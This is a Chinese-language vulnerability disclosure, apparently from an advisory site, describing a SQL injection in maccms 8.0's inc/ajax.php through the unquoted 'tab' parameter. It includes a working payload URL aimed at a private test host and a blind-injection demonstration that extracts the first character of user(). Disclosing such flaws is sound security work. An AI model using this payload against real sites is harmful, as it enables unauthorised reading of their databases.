### 简要描述:
maccms8.0 注入漏洞
### 详细说明:
漏洞代码在 inc/ajax.php
首先通过封装的be方法取得tab参数
[<img src="https://images.seebug.org/upload/201503/021932521e9dadb401f321cd4307ce1f50fac269.jpg" alt="maccms5.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/021932521e9dadb401f321cd4307ce1f50fac269.jpg)
直接把tab参数带入到了查询当中,因为注入点不在双引号内部,所以可以直接注入。
[<img src="https://images.seebug.org/upload/201503/021933292157b87a74ca9096ea27428af695c781.jpg" alt="maccms6.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/021933292157b87a74ca9096ea27428af695c781.jpg)
这里需要一点小技巧让SQL语句不报错。payload如下:
URL:
http://10.1.157.64/maccms8_mfb/inc/ajax.php
?ac=hits
&tab=user,(select(1) as _hits,2 as _dayhits,3 as _weekhits , 4 as _monthhits ,5 as `_hitstime`from dual)temp where 2=1 -- a
&id=2
因为最后程序会把查询到的条数输出,所以形成了一个盲注。
[<img src="https://images.seebug.org/upload/201503/0219334993f802222cdd5eba559b1bc27c3bba62.jpg" alt="maccms7.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/0219334993f802222cdd5eba559b1bc27c3bba62.jpg)
### 漏洞证明:
演示如下:
查询一下user()的第一个字符
[<img src="https://images.seebug.org/upload/201503/02193436ce89561119ec306a75c720451f9234de.jpg" alt="maccms8.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/02193436ce89561119ec306a75c720451f9234de.jpg)
可以判断user()的第一个字符ascii码为 114
[<img src="https://images.seebug.org/upload/201503/021934497590c36579c1685e3450a13c13930f85.jpg" alt="maccms9.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/021934497590c36579c1685e3450a13c13930f85.jpg)
暂无评论